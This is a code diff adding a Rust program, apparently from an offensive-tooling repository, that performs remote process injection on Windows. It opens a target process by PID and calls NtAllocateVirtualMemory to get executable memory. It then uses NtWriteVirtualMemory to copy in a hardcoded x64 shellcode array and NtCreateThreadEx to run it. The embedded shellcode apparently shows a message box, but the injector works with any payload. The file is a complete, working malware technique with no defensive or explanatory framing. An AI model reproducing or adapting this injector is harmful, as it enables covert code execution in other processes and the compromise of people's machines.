Remote Process Injection using NtApi

Author: Whitecat18

NtApi/remote_process.rs

@@ -0,0 +1,165 @@
+/*
+    Shellcode Execution through Remote Process using NtApi
+    Remote Process Method 1
+    @5mukx
+*/
+
+use std::{ffi::OsString, os::windows::ffi::OsStrExt, ptr::null_mut};
+
+use winapi::{shared::{bcrypt::NTSTATUS, minwindef::DWORD, ntdef::HANDLE}, um::{handleapi::CloseHandle, libloaderapi::{GetProcAddress, LoadLibraryW}, processthreadsapi::OpenProcess, winnt::PROCESS_ALL_ACCESS}};
+
+use winapi::ctypes::c_void;
+
+// Souce: https://docs.rs/ntapi/latest/ntapi/ntmmapi/fn.NtAllocateVirtualMemory.html
+type NAVM = unsafe extern "system" fn(
+    *mut c_void,
+    *mut *mut c_void, // ? here
+    usize,
+    *mut usize,
+    u32,
+    u32,
+) -> NTSTATUS;
+
+type NWVM = unsafe extern "system" fn(
+    *mut c_void,
+    *mut c_void,
+    *const c_void,
+    usize,
+    *mut usize,
+) -> NTSTATUS;
+
+type NCT = unsafe extern "system" fn(
+    *mut *mut c_void, // ?= *mut HANDLE
+    DWORD,
+    *mut c_void,
+    HANDLE,
+    *mut c_void,
+    *mut c_void,
+    DWORD,
+    DWORD,
+    DWORD,
+    DWORD,
+    *mut c_void,   
+) -> NTSTATUS;
+
+fn main()-> Result<(), Box<dyn std::error::Error>>{
+    let args: Vec<String> = std::env::args().collect();
+
+    if args.len() < 2 {
+        println!("Usage: {} <PID>", args[0]);
+        return Ok(());
+    }
+
+    let new_pid= args[1].parse::<u32>().expect("Enter valid PID");
+    
+    println!("[+] Injecting into PID: {}", new_pid);
+
+    unsafe{
+
+        // SHELLCODE 
+        let shellcode: [u8; 328] = [0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,
+            0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
+            0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,
+            0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,
+            0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
+            0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
+            0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,
+            0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,
+            0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,
+            0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
+            0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
+            0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
+            0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,
+            0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,
+            0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,
+            0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,
+            0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,
+            0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,
+            0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e,
+            0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26,
+            0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,
+            0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01,
+            0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
+            0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,
+            0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73,
+            0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e,
+            0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73,
+            0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00
+        ];  
+
+        let p_handle = OpenProcess(
+            PROCESS_ALL_ACCESS,
+            0,
+            new_pid,
+        );
+
+        if p_handle.is_null(){
+            eprintln!("[-] Invalid Handle");
+            std::process::exit(1);
+        }
+
+        let ntdll_name: Vec<u16> = OsString::from("ntdll.dll").encode_wide().chain(std::iter::once(0)).collect();
+        let h_ntdll = LoadLibraryW(ntdll_name.as_ptr());
+        
+        if h_ntdll.is_null() {
+            println!("[-] Failed to load ntdll.dll");
+            return Err("Failed to load ntdll.dll".into());
+        }
+
+        let nt_allocate_virtual_memory: NAVM = std::mem::transmute(
+            GetProcAddress(h_ntdll,  b"NtAllocateVirtualMemory\0".as_ptr() as *const i8)
+        );
+
+        let nt_write_virtual_memory: NWVM = std::mem::transmute(
+            GetProcAddress(h_ntdll, "NtWriteVirtualMemory\0".as_ptr() as *const i8)
+        );
+
+        let nt_create_thread_ex: NCT = std::mem::transmute(
+            GetProcAddress(h_ntdll, "NtCreateThreadEx\0".as_ptr() as *const i8)
+        );
+
+        let mut alloc_addr: *mut c_void = null_mut();
+        let mut alloc_size: usize /*SIZE_T*/ = shellcode.len();
+
+        let status = nt_allocate_virtual_memory(
+            p_handle, 
+            &mut alloc_addr,
+            0,
+            &mut alloc_size, 
+            0x3000, 
+            0x40,
+        );
+
+        println!("Allocation status: {:X}", status);
+        println!("Allocated address: {:?}", alloc_addr);
+
+        let status = nt_write_virtual_memory(p_handle, alloc_addr, shellcode.as_ptr() as *const c_void, shellcode.len(), null_mut());
+        println!("Write status: {:X}", status);
+
+        let mut t_handle: *mut c_void = null_mut();
+        let status = nt_create_thread_ex(
+            &mut t_handle, 
+            0x2000000, 
+            null_mut(), 
+            p_handle, 
+            alloc_addr, 
+            null_mut(), 
+            0, 
+            0, 
+            0, 
+            0, 
+            null_mut()
+        );
+
+        println!("Execution status: {:X}", status);
+
+        CloseHandle(p_handle);
+        if !t_handle.is_null() {
+            CloseHandle(t_handle);
+        }
+    }
+    Ok(())
+}   
+
+
+